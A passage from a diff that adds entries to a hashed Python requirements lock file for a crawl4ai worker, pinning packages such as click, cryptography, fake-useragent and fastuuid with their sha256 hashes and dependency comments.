--hash=sha256:15f024313246a4ed976c60f440bb8d257815513a681d212ff74fd46f7d715a90 \ + --hash=sha256:195ce897c6153c0700078142cf8efe3e6454ca4cf4357499e4078dfd83396626 \ + --hash=sha256:19a3dd5aa73cef1c99687c4fc57db016a9c17104ae1185da88ba566a5d3bebe4 \ + --hash=sha256:1d1c7a53a6c2103925cdd6d7229f8c567379f211c869793df679f2e9f738c369 \ + --hash=sha256:1f5883d77fd409a261abb5dc8ccbe335720d798b1de4abb3b1d47ccbbc76b53b \ + --hash=sha256:21b82d8082f6f5e7f456ef0bd16323d08de1266efbfeb476e64b2a91d1471a4e \ + --hash=sha256:252d099029bcbea642f2a06c4ed5046bdf8b5a8150b64afa5e027e88b106e5ee \ + --hash=sha256:256dd4d85d9e4dc595e2bc983c980e73f62ddeb3165c58b4c3dfe78c5c8548c1 \ + --hash=sha256:26422d45fd13551cf564c58932f7d72b4f58b93b0fcf18c35ba6be12b46bb102 \ + --hash=sha256:2679de311c7946dde5d3b6f44941844133ff5c7cb86099c0061ab1e8901c20a8 \ + --hash=sha256:29880d17a8eb0b5cfdfd8944b468322928059aa35f1f5fa8ff22b149ec0b42f8 \ + --hash=sha256:2bced4061f000f7187254a02ad3433ae17eaf991747ceea2f478422590a5bba9 \ + --hash=sha256:2e9cf9253119d8e5d111f05d71626786fd3d6193817316eab1ca088cdb8593cf \ + --hash=sha256:2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0 \ + --hash=sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6e988ad13abba943031 \ + --hash=sha256:329fc3ccb63ad22d867d84c2adea759a64079a37ba4a343433b02c7a2816871e \ + --hash=sha256:343fb4f2821043bd87095f7b08a1a181febc8e36ac64212143bbfd0a0e1bc235 \ + --hash=sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82ae45aef04ff6e072 \ + --hash=sha256:35aea775dc2bd5f54cd84a1cd2696cc3207c479cb9cf0bd346f0d343e4300ddb \ + --hash=sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb22cc1b59cd8ec17e93c \ + --hash=sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58c07695bedf755a950 \ + --hash=sha256:3617ac3cfd8b9888f145ad89dd6e692285834b0201c6074a5eeaad3fd4d668c2 \ + --hash=sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb \ + --hash=sha256:394fea06235c8543390050ed5f529187074b029fb027213f6c46ac11ab5d950e \ + --hash=sha256:3d27167433c0d5f18dc850f07d0b3816221984fecdc405d6c157a6f0b8f8e9e6 \ + --hash=sha256:3e5e1224c0a6a90e05843e07adfec669edebec17801c67072f51e59561d63c0b \ + --hash=sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f21f34a4cab14f18d8d2 \ + --hash=sha256:433c5a81eade63b47e522303bad236f59dba55ea6951746f5558355eeed8c75d \ + --hash=sha256:4582c27e8c889d64811987b5967fbd3ae0c823fe1fd933b543d55ac20bb475fa \ + --hash=sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9b5e3133f80c6aeb84c2 \ + --hash=sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818 \ + --hash=sha256:496846868fea80e479324862fa877f02411f2fd0f83b79ccee2607aa68b2a032 \ + --hash=sha256:4abdc5f9ad448c1ecbfae2974b820535d6bc6e7eef63babbab3d81cf46968c71 \ + --hash=sha256:4b599739b93b2cbeded49645ae3c8d1405c29ddfbceac1545c87a3f9580a9e96 \ + --hash=sha256:4bea7f8ebe90bbd7f0e4a2de42ca6924ba23e3e76418c408ff82f1d46fabd687 \ + --hash=sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146e2d39f51e16170bea8 \ + --hash=sha256:4c9548dc78002099910abaebc0a72ac58b7d30931869e0351c09b507dff4ece3 \ + --hash=sha256:4d26f14f041e83dd8edfd61f4cd4fa7285d31798b5bf1f28e70c367ba6c41d61 \ + --hash=sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2f049795e26cad28b6a9 \ + --hash=sha256:52ec005752a56ae79547a05c0139ca2501a0c866390b6115008456b9f0e7cde1 \ + --hash=sha256:55261ac0d2941c42f196dd576f543d87a8ee03cd6f5e30dfb4d807b2e3b9121a \ + --hash=sha256:56490c595a28b1bb27dfc583e816152a9767721ef58b2c03b13f954d2f707420 \ + --hash=sha256:58d3e12c88e0950bca850ae1f7c256055c097639c2edb9eb123af9807d8b15e4 \ + --hash=sha256:58d4aa13a59c969dbfdf9e6a9560e242cbfd9e8a8f50c2747714df1a423adf65 \ + --hash=sha256:59171c6e45bf07d0d5cab3b0bf81d945035530f6873398b3b531c31184d46663 \ + --hash=sha256:5b6d1386bf0096d26d3a863dc0a487a5b4eb9aa93cf5ba69683d29dde6b9d60f \ + --hash=sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46b8bcdf027d38c51da591 \ + --hash=sha256:5c84bec0ab5ae0c64bfe73a7d2adcb5ce73b467523fc27fd6a28ab2aa6cbe35a \ + --hash=sha256:5ca0555312ae2fe82715cada7fac375530c2f3349e1eaa1bcb33d0283ac79a18 \ + --hash=sha256:5d8531a6569d025f68e2321e7638fb7978f23db58e5f69f56913837aae03816e \ + --hash=sha256:5e2d0e146dcb57034f8b97dc58d2d512cb90aba253960ce449f695fec6a82c6f \ + --hash=sha256:5fc45d653ea8c9a20479167e11d4a0f8cb2fa3470737ab6f9c827532313187b7 \ + --hash=sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3 \ + --hash=sha256:6199d5606e2bbf2b096cf64d03f8b6790c91081d5ac866b8e7bb6422738cc60c \ + --hash=sha256:62b55f6722735a6c472f88361cde6640608773d9443cebdbb51abf436a1fcdd3 \ + --hash=sha256:687c9ca3035544b113bea2055e180af96fb63c0c476e22a9180f51925186e7b7 \ + --hash=sha256:6b7430cf5728e68f6c462254009a6ef4086e1bea43cf2f57aa9c55fb4f50ff96 \ + --hash=sha256:6ba32c4d2abf1d2fe7cf27d280f4cca5664233b0f885549c7761719eb977f486 \ + --hash=sha256:6c9cdde8becb25a7fde49924511aa2644d6f8081cc8df8e9452724303348d8e3 \ + --hash=sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6 \ + --hash=sha256:6e2912d4babbc65196ac13c2f53468dc57fb8b9c25ef913e8c59ddf7c6dc0e1b \ + --hash=sha256:6e5e4d73d588ca5ed09df1b7dcd1b203d1df3c542e3f50d126c947d432b10731 \ + --hash=sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb0025c3959 \ + --hash=sha256:706bfd38730a5ac7a365793269a00f4e988178cec121391f4248d84ad8c972e9 \ + --hash=sha256:7235dc28fc6dd9d832ac7c7bce95367dedb85929f17368a0c2bee1e080b9acbf \ + --hash=sha256:774d157f112367ff4abd29019f38f023c24e00e56edc7829c20e358a5a913ad8 \ + --hash=sha256:77efcff2b23071c349402ac1066667a3d011f62398d81408c9b88ad991747c9e \ + --hash=sha256:789b8982559ae28dad2356519f841655756cdcd96616410590ae0b17454ee64f \ + --hash=sha256:7ac76cf9afd34929d76eb7fcb63be476a4853d8a96f0dcf2d0db68a0cbdf9885 \ + --hash=sha256:7c0c10730342b0c9b35dd1d619beb8214e520bd96a1f870f452680b238aab3e0 \ + --hash=sha256:823f82903d189af463d7df250ef1f7f696f3cee08cc8d91deb565e8d425f6506 \ + --hash=sha256:838648accb3a7fd9803fd45c87bce8509648eb0c11bc34e216141300977244f2 \ + --hash=sha256:854066be00447fa8de2ccbbe893e2ffc4b123ef16d897af794c1e18bd4a714b0 \ + --hash=sha256:85d5855daafc240cc045c026d7a15fd198a09b0fc8ff6f5ecbb5297b509cb11e \ + --hash=sha256:85de3134b5379856e323ba37c19c9256d39425f7b76a63af52b09fb4664c2e8f \ + --hash=sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b647451e \ + --hash=sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e19ba199d18ae4491 \ + --hash=sha256:88e85ab89cb822c1e635f51d6d32e488f94e002e70e2f492bdb8b945543f345a \ + --hash=sha256:8ac8c94b6539074e0f40899301273ac8402b9b3e01c7b7ba269ff30340aaaf20 \ + --hash=sha256:8fe532b3c966d1fb794e0698e4589d0444017ae77fc0b31edea13c0e35bcc449 \ + --hash=sha256:9085f87b0e38a2b92b8923059b4e8789fe40d9279712d15dcc670048d77079af \ + --hash=sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a7551f20e11ac9bf0b8708c \ + --hash=sha256:92caef967d287a407085d61176fce4012b1dd62daed4eb6d5ceb26d3d2538712 \ + --hash=sha256:9362dd90aa7dab48c0054a21187791ccf05473f7dba5d92b8033ae62164675e7 \ + --hash=sha256:94d78ecec2605a8d0398b0f365d5f12a63248438516f5dac536a5eff7337df4a \ + --hash=sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20 \ + --hash=sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f \ + --hash=sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3 \ + --hash=sha256:96fef3e886d6a9874b14f27fc193fbdc69d5d8035783d86aa4e1cea594e695f9 \ + --hash=sha256:977cdbd483a9cff38179bea4fd754289a6f2195c7abd414aba85410b3e66cc5e \ + --hash=sha256:978eab16f55b4ab2c2a745be9a0a840bf8f09a7f227d9c76eb30214d078865a5 \ + --hash=sha256:994e883d17c559cdfd38c84003c8b27d25424a1077272a17e7cd27bfe0bf57b2 \ + --hash=sha256:9ac4444d8d4fd4c4bd08bf451ed3167aa9e7ec6cdb41b648794f1d1103652e36 \ + --hash=sha256:9b5db6052055d34d41230fb78d7c439c23dc536a9896f6cb039e8dd92cfc1263 \ + --hash=sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc43f47cd099d00d393e09769de4 \ + --hash=sha256:9dbdd9205662134957cf0c324f639bdc5031c0ca056e2369e238db75187c0f11 \ + --hash=sha256:9eea3ab2597a5e65fe65296e2d6a84570845a6b55532d90333d740d48bbc850a \ + --hash=sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892dfba907f4263a863a3 \ + --hash=sha256:a3a370082ce34d0612f421e15fe011c53bb1feff21a26d06ad4fb244dab5a375 \ + --hash=sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa \ + --hash=sha256:a5cbd90ecf0fc62e64726917ad083b73001f0563657a87ec3c0b504e277dc90d \ + --hash=sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5 \ + --hash=sha256:a6dac12ff6b846103483683f60c5f8fee205121adc58ffd87e90a90a3af69e99 \ + --hash=sha256:a951ad59cad9145664a730d3036b40b844e74d2d3683da40111463cd3a83845d \ + --hash=sha256:aa1099b956fb795e686d073568f6dc002a0bb89765ea6d5b055dd7d9bf1b116c \ + --hash=sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488 \ + --hash=sha256:aae2ee51122d3ae968a3837d97dc24a0aeebb0dea23694422cd172bd30017cd6 \ + --hash=sha256:ab743e9bc90c1f73552ec33e10e3331315acd2c397b36065b591b0181de533cc \ + --hash=sha256:ac00177c4831ffa650f8609e4bdddd5fe09c03b1c0c47acece7e6ea20421598b \ + --hash=sha256:ac13b004224fb341e1e25a1ed5e19d32f57cdb2a403e01f003b46f051a550f6f \ + --hash=sha256:acaf604462bf330b0d07e7a07c1d6e4adac79e5fb13e9c5140590542cafacc00 \ + --hash=sha256:ae31a1a1db2ee6cc2942fccaf695c934bc7f3db9f2133a3fef1f367cf1a4ab10 \ + --hash=sha256:ae4a097991662cd4fff0ddc74e0fe7874f82e00042fa0ea00855645ed0c79598 \ + --hash=sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac961838509086188b7e6 \ + --hash=sha256:b39b69b347e5e47a3b5b8cfc005c68c1ba347474e3960236c4944a8ecd174962 \ + --hash=sha256:b54e7e13267d49ffbfe68e25b3cbd774dab38fa37238f71265e91b36146eb21c \ + --hash=sha256:b9af956078716df40d985fb0dfeb2c2120c5ca92ba4ff4b388acfd01cdc14d08 \ + --hash=sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab \ + --hash=sha256:ba501e667c17d8411f98e67a022d9604ef179aff0e459b7e292c796837c13573 \ + --hash=sha256:baf3775a2635e5a11fbd5e4e64ee69c7e86875d224a5c72aca4c141064589a90 \ + --hash=sha256:bb57753e36e4855b8ca375069482250a6246372331a3e4f3407eaebb007443f5 \ + --hash=sha256:bd6c173f04743d483881bffa1478d5a4624475b8cd1d2194956a75548e191c18 \ + --hash=sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d \ + --hash=sha256:c010f5581d9c612804cc59fcf7b524b707fbcb72828551237ab545bb5c7034af \ + --hash=sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea \ + --hash=sha256:c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c \ + --hash=sha256:c658c50ac0c98cd755a2dd50b7977d3bca7df401dcc47fbdfa87db53ef7d4e8b \ + --hash=sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce60efa6430ff63676cea6 \ + --hash=sha256:c7b742bf31c88566b4bb6335a7f393bb322e580b6bb98df7bd0c25e6e3519ce8 \ + --hash=sha256:cc0329df4caaceb950d2f580b5ac716a377f7059624a0bafaeaf8a218c6ed774 \ + --hash=sha256:cc5d36d96478aa9c60654bd932525bf32964c62a7281eafdf16d85003a8d6004 \ + --hash=sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a \ + --hash=sha256:ced3fdd71aaa83ce593746c2edb42b7a59cb4c19c8b5c407781c72e493aae55a \ + --hash=sha256:cee5dd7c6fb5dd52a0fe2a740f9bc6e3593f5f8b1788bde49de02086f30182b2 \ + --hash=sha256:cfa1c0cc3a8f9f53f1243a5a99ac36fd003880199383b37672e86ddda9cb07e2 \ + --hash=sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa \ + --hash=sha256:d59b75732e9b6f27388e10c14b0259cc5f2e48c78627d185e6a177b58ad3cffe \ + --hash=sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1da1f3 \ + --hash=sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6cc \ + --hash=sha256:e06efa066f7dbadbc84ebc126a97c452a6451dfcf589d89d788484949e1cf795 \ + --hash=sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0f8f602f7bef543d9d \ + --hash=sha256:e4b018dc5a0eee4676e38fe84a47a427816c590b93b55d9025274ec4d6ffc2dc \ + --hash=sha256:e6621fb2a4988d6e53eedc455e5903e2679f3967b8acb3d639f1b63c14a2e893 \ + --hash=sha256:e71c909f353863b2b89c83de2ebed71ea6d0df8a6ef65a128193c5e650766bef \ + --hash=sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af29dbf78ebb89a58c4bac7d \ + --hash=sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda \ + --hash=sha256:eb12fb2ba69ffa05f8695f61c69e591dc4b4a12ac3757ac8af8adb259bf56d17 \ + --hash=sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30 \ + --hash=sha256:f03ac127268b43ef4fe9e6ab6794a6794b49485a0cc0c1db79876d2f33f75bc7 \ + --hash=sha256:f298e218441525d3794428b4c8b8fb8662c6d3ea79925d4807ee6b9a96a3bca5 \ + --hash=sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182 \ + --hash=sha256:f6f7deae3feb4edfa2efaf7c574fe88cbf055038a6abdb40188e4fff66d5699f \ + --hash=sha256:f9b1e28d0e8dbfa858abdba91d6b547beaf2df1a59bec6da6faae7b96a4991a9 \ + --hash=sha256:f9f8405c2c758532c74fed975dbee57be1f31a6e865c031870c79a6ed3212ada \ + --hash=sha256:fa48b1b63d639f9483e0633e092f5851e2348c352f1f9bb6c8182f87884ef876 \ + --hash=sha256:fb78f6e7fcd8ad785d28cd577168bc1aaee827b25bb8755638f694794ea98f0a \ + --hash=sha256:fbc597639158fd7c14d55e808718848319540f51b0e6746e3eefa59723a4a348 \ + --hash=sha256:fce8cbd4997efeb450bd298b54f755dcdff18d496f7a5ddbb4867c6d7c88fdc3 \ + --hash=sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b094c5cd27c73a98bc6f \ + --hash=sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba4029518f2e5c0 \ + --hash=sha256:fdb8a068947befafba9952162645dc2fecaeb400e64584829ed5e9b2fbe21a7f + # via requests +click==8.5.0 \ + --hash=sha256:255bc9599cf7748b4b1a446ccc735421bd08a2ae529a8b88597d3de5664ee360 \ + --hash=sha256:ba0d2089de75ea0310e2dde03160e6ca10009947fb95a182f9b54021bb272e34 + # via + # alphashape + # click-log + # crawl4ai + # huggingface-hub + # nltk + # unclecode-litellm +click-log==0.4.0 \ + --hash=sha256:3970f8570ac54491237bcdb3d8ab5e3eef6c057df29f8c3d1151a51a9c23b975 \ + --hash=sha256:a43e394b528d52112af599f2fc9e4b7cf3c15f94e53581f74fa6867e68c91756 + # via alphashape +cloudpickle==3.1.2 \ + --hash=sha256:7fda9eb655c9c230dab534f1983763de5835249750e85fbcef43aaa30a9a2414 \ + --hash=sha256:9acb47f6afd73f60dc1df93bb801b472f05ff42fa6c84167d25cb206be1fbf4a + # via joblib +crawl4ai==0.9.4 \ + --hash=sha256:46779c8a93b35c7c5f9be9642ddef5e7b515e36b094639bb8e1e418bf0266179 \ + --hash=sha256:fd118861b1acff90ac0db4ceae4d529691fd1a0a0d4417c710de3c7d2114ae88 + # via -r blueprints/runtime-workers/crawl4ai/requirements.in +cryptography==50.0.1 \ + --hash=sha256:01f41478cf33fc605a6a089cd56d28b45c6c0b45a1928b61797f2621a04bac71 \ + --hash=sha256:05ba322c4da95b262a212c345af888ef2c37c88c0509756ea00a0e6d68850f23 \ + --hash=sha256:16c5ecd954b3330ebfb6605eca4fd952da8bef376551d5cc264534e3770a9ee6 \ + --hash=sha256:2a93d05e34d5f67fba6f891fe85d929999baa7195e853923ea6d7576c9e68c5e \ + --hash=sha256:2b34d76a652ea2b6faf777c35df230c5637842cd904e04f16230c3f9f03e4361 \ + --hash=sha256:2ebbfb0f1fed745e91796e3e1080a1440423fdae8ece1b995a1d80883a409054 \ + --hash=sha256:30a125032e5642a21ff816e021152bd4e7e94f03eff3f4b7fca41cd22bc3110f \ + --hash=sha256:330fbb252391c596f1ae42c5754449dc924e6ad012dca8efe0d703f9f2d12ec6 \ + --hash=sha256:359e62deae718bce96170e223fdcb6357e4fbd3bb7a3a75f4430763532560e49 \ + --hash=sha256:407fe2b6db00939c05c0e945e9914238f2f0a430974839429dafc82b1ee6bee5 \ + --hash=sha256:42be3bb70596b3abe4ac097b75be223e8b3ab614a0e5de068e3dcc54d71d6149 \ + --hash=sha256:4c4188f7c0cf655be5c06342b817ed0f9595b69ffa2b12026e5353eed29dea88 \ + --hash=sha256:51593d180cf6d179bde5c5d065bed81386b1f381656ae7d042b7ffc87a9895ad \ + --hash=sha256:51afcfceb15597cf2635068e4ac9a56b2abde622edde17f37d85fd7b5306497a \ + --hash=sha256:53e279950892dc102c6b4e52af03ae5ea92fac572a1ddab78ca73a997f62b69f \ + --hash=sha256:55d16b1ef3ee0958d893a977b19777887e546c9954ea81b200c3301a864013f2 \ + --hash=sha256:5dd9bda1c12b4162f6ff568eeb5e0ff956c28d14406e875cfe8a63a2d414ff20 \ + --hash=sha256:5fe002589592ed749ce77fe0695fcbd3500dd61d7d6db5858a7544c612fa8e45 \ + --hash=sha256:5fe939deeb161024a6be98229c953b6591fef1f41214497a78fe793a244c017f \ + --hash=sha256:693c99b49bd37d0d096e4334c10232c77248c415b98d35236094cdf96d57258b \ + --hash=sha256:76de83fbd91ac49c0feaaa983d0748fd7a53176afac5fb3bf7478d244f0eb527 \ + --hash=sha256:79bf008d1f9af6071c797ad133e39915dfee7614f18f18f4db9072eb715064a3 \ + --hash=sha256:804728ce710890870f3aaa344b2e161172d258d768ac139d02cfd9092d0d94e6 \ + --hash=sha256:8921d58f426793c5f1b47f0b59575780de9a095214958d0eb37d909593db8367 \ + --hash=sha256:8df2de9102026855887e4587084f6eabd80ed0f345b8ad8a7ac27ab9bf4723e0 \ + --hash=sha256:9cb3cb952cf5a8abd50c782a98a89d71699715e802fe349704b47f2425b42a94 \ + --hash=sha256:9dde0a357190eb3b1da1bb9ab750e9c85cba82ca5977aa0836cbb94e92611239 \ + --hash=sha256:9ebcdd5519be9b652a46f507817a74591774fc3d6923ac364e4dfa64e36b291b \ + --hash=sha256:a0b1a59e3a089064a0ec309e9428c8e3ae4e161419d20ac33600767e83fc658a \ + --hash=sha256:a255449073358275b64b67d3f595f268bbef70e72b6edb65e0c70c735bf739c9 \ + --hash=sha256:a8f40ea47330e71b594a7e246898f93177c259490c63183dbaf9e571d71ed9a5 \ + --hash=sha256:ac02b07824d4d1001bd4367599f839c19cb171924c796e52c23508ac14c2c0cc \ + --hash=sha256:aed8db4f6d71c51efb89530e12d9464e7bf2923d46c3205dc794a2a93f8c0648 \ + --hash=sha256:b8f852c65863251b9e3a1b8c150ce21e59b522dbb6a7d4bc80e680d38388e986 \ + --hash=sha256:be224a65493ec5b74a158ff22a5522ce4a5ca1e543c647a3a4730d4a09e5f959 \ + --hash=sha256:ca83d00d9e69cd5eb63f2e69c3a5a59e0cecae5ae14c6ae0b35830fe3b37bad0 \ + --hash=sha256:cbf74a81765ee67413503ca6e26dcc4f6f5a519822436cc0a1b97aab6c1b8a17 \ + --hash=sha256:d63ae8f6481fec907ac0f588eee8a90aefde112c633131fe540e5711ddbb5a4e \ + --hash=sha256:e22dfed744bd4002e909464cb23d2f0b05c6f3113a79ef2e9864a53db737c733 \ + --hash=sha256:e2ca8fd1b6b4b82a1c4cb02841d0837e3c12336c2e24b520ab8ab3b969733d8f \ + --hash=sha256:e74591e283fe6eb956416c929eb58262a719fe0311fd9054c62c3350ed8760d8 \ + --hash=sha256:f74455bb086a85d5e81246412602aaa97ed095e504cd40dd261ef50be42205bf \ + --hash=sha256:fb4b9672d389c738b175c4166e78310f8a70358886aacd9173ee03a85ffdc671 \ + --hash=sha256:fc3ed7ebd2a8c96f5b166de0ab9b624996bef3b07bbeb19364dfb78222c22c80 \ + --hash=sha256:fd3718b960d0b5dd213cdf03f3bcb7000e69dda0de8b956061947ff6bcff5558 \ + --hash=sha256:ff838d62ec1bfce4f9ba7fa16f4a7b554cd8d0c299e6be37502161a660c84eef + # via pyopenssl +cssselect==1.5.0 \ + --hash=sha256:1d1aded98e82bdde447ded990a191fd6916177c4f0c914fb62eccd58e2ffcdcc \ + --hash=sha256:3cbe82dd7acbee9ba9e5723b5f9e4749826912f1fb31cd7f92aabed5fde15b15 + # via crawl4ai +defusedxml==0.7.1 \ + --hash=sha256:1bb3032db185915b62d7c6209c5a8792be6a32ab2fedacc84e01b52c51aa3e69 \ + --hash=sha256:a352e7e428770286cc899e2542b6cdaedb2b4953ff269a210103ec58f6198a61 + # via nltk +fake-useragent==2.2.0 \ + --hash=sha256:4e6ab6571e40cc086d788523cf9e018f618d07f9050f822ff409a4dfe17c16b2 \ + --hash=sha256:67f35ca4d847b0d298187443aaf020413746e56acd985a611908c73dba2daa24 + # via crawl4ai +fastuuid==0.14.0 \ + --hash=sha256:05a8dde1f395e0c9b4be515b7a521403d1e8349443e7641761af07c7ad1624b1 \ + --hash=sha256:0737606764b29785566f968bd8005eace73d3666bd0862f33a760796e26d1ede \ + --hash=sha256:089c18018fdbdda88a6dafd7d139f8703a1e7c799618e33ea25eb52503d28a11 \ + --hash=sha256:09098762aad4f8da3a888eb9ae01c84430c907a297b97166b8abc07b640f2995 \ + --hash=sha256:09378a05020e3e4883dfdab438926f31fea15fd17604908f3d39cbeb22a0b4dc \ + --hash=sha256:0c9ec605ace243b6dbe3bd27ebdd5d33b00d8d1d3f580b39fdd15cd96fd71796 \ + --hash=sha256:0df14e92e7ad3276327631c9e7cec09e32572ce82089c55cb1bb8df71cf394ed \ + --hash=sha256:12ac85024637586a5b69645e7ed986f7535106ed3013640a393a03e461740cb7 \ + --hash=sha256:1383fff584fa249b16329a059c68ad45d030d5a4b70fb7c73a08d98fd53bcdab \ + --hash=sha256:139d7ff12bb400b4a0c76be64c28cbe2e2edf60b09826cbfd85f33ed3d0bbe8b \ + --hash=sha256:13ec4f2c3b04271f62be2e1ce7e95ad2dd1cf97e94503a3760db739afbd48f00 \ + --hash=sha256:178947fc2f995b38497a74172adee64fdeb8b7ec18f2a5934d037641ba265d26 \ + --hash=sha256:193ca10ff553cf3cc461572da83b5780fc0e3eea28659c16f89ae5202f3958d4 \ + --hash=sha256:1a771f135ab4523eb786e95493803942a5d1fc1610915f131b363f55af53b219 \ + --hash=sha256:1bf539a7a95f35b419f9ad105d5a8a35036df35fdafae48fb2fd2e5f318f0d75 \ + --hash=sha256:1ca61b592120cf314cfd66e662a5b54a578c5a15b26305e1b8b618a6f22df714 \ + --hash=sha256:1e3cc56742f76cd25ecb98e4b82a25f978ccffba02e4bdce8aba857b6d85d87b \ + --hash=sha256:1e690d48f923c253f28151b3a6b4e335f2b06bf669c68a02665bc150b7839e94 \ + --hash=sha256:2b29e23c97e77c3a9514d70ce343571e469098ac7f5a269320a0f0b3e193ab36 \ + --hash=sha256:2dce5d0756f046fa792a40763f36accd7e466525c5710d2195a038f93ff96346 \ + --hash=sha256:2ec3d94e13712a133137b2805073b65ecef4a47217d5bac15d8ac62376cefdb4 \ + --hash=sha256:2fb3c0d7fef6674bbeacdd6dbd386924a7b60b26de849266d1ff6602937675c8 \ + --hash=sha256:2fc37479517d4d70c08696960fad85494a8a7a0af4e93e9a00af04d74c59f9e3 \ + --hash=sha256:33e678459cf4addaedd9936bbb038e35b3f6b2061330fd8f2f6a1d80414c0f87 \ + --hash=sha256:3964bab460c528692c70ab6b2e469dd7a7b152fbe8c18616c58d34c93a6cf8d4 \ + --hash=sha256:3acdf655684cc09e60fb7e4cf524e8f42ea760031945aa8086c7eae2eeeabeb8 \ + --hash=sha256:448aa6833f7a84bfe37dd47e33df83250f404d591eb83527fa2cac8d1e57d7f3 \ + --hash=sha256:47c821f2dfe95909ead0085d4cb18d5149bca704a2b03e03fb3f81a5202d8cea \ + --hash=sha256:4edc56b877d960b4eda2c4232f953a61490c3134da94f3c28af129fb9c62a4f6 \ + --hash=sha256:5816d41f81782b209843e52fdef757a361b448d782452d96abedc53d545da722 \ + --hash=sha256:6e6243d40f6c793c3e2ee14c13769e341b90be5ef0c23c82fa6515a96145181a \ + --hash=sha256:6fbc49a86173e7f074b1a9ec8cf12ca0d54d8070a85a06ebf0e76c309b84f0d0 \ + --hash=sha256:73657c9f778aba530bc96a943d30e1a7c80edb8278df77894fe9457540df4f85 \ + --hash=sha256:73946cb950c8caf65127d4e9a325e2b6be0442a224fd51ba3b6ac44e1912ce34 \ + --hash=sha256:77a09cb7427e7af74c594e409f7731a0cf887221de2f698e1ca0ebf0f3139021 \ + --hash=sha256:77e94728324b63660ebf8adb27055e92d2e4611645bf12ed9d88d30486471d0a \ + --hash=sha256:7a3c0bca61eacc1843ea97b288d6789fbad7400d16db24e36a66c28c268cfe3d \ + --hash=sha256:7f2f3efade4937fae4e77efae1af571902263de7b78a0aee1a1653795a093b2a \ + --hash=sha256:808527f2407f58a76c916d6aa15d58692a4a019fdf8d4c32ac7ff303b7d7af09 \ + --hash=sha256:83cffc144dc93eb604b87b179837f2ce2af44871a7b323f2bfed40e8acb40ba8 \ + --hash=sha256:84b0779c5abbdec2a9511d5ffbfcd2e53079bf889824b32be170c0d8ef5fc74c \ + --hash=sha256:9579618be6280700ae36ac42c3efd157049fe4dd40ca49b021280481c78c3176 \ + --hash=sha256:9a133bf9cc78fdbd1179cb58a59ad0100aa32d8675508150f3658814aeefeaa4 \ + --hash=sha256:9bd57289daf7b153bfa3e8013446aa144ce5e8c825e9e366d455155ede5ea2dc \ + --hash=sha256:a0809f8cc5731c066c909047f9a314d5f536c871a7a22e815cc4967c110ac9ad \ + --hash=sha256:a6f46790d59ab38c6aa0e35c681c0484b50dc0acf9e2679c005d61e019313c24 \ + --hash=sha256:a8a0dfea3972200f72d4c7df02c8ac70bad1bb4c58d7e0ec1e6f341679073a7f \ + --hash=sha256:aa75b6657ec129d0abded3bec745e6f7ab642e6dba3a5272a68247e85f5f316f \ + --hash=sha256:ab32f74bd56565b186f036e33129da77db8be09178cd2f5206a5d4035fb2a23f \ + --hash=sha256:ab3f5d36e4393e628a4df337c2c039069344db5f4b9d2a3c9cea48284f1dd741 \ + --hash=sha256:ac60fc860cdf3c3f327374db87ab8e064c86566ca8c49d2e30df15eda1b0c2d5 \ + --hash=sha256:ae64ba730d179f439b0736208b4c279b8bc9c089b102aec23f86512ea458c8a4 \ + --hash=sha256:af5967c666b7d6a377098849b07f83462c4fedbafcf8eb8bc8ff05dcbe8aa209 \ + --hash=sha256:b2fdd48b5e4236df145a149d7125badb28e0a383372add3fbaac9a6b7a394470 \ + --hash=sha256:b852a870a61cfc26c884af205d502881a2e59cc07076b60ab4a951cc0c94d1ad \ + 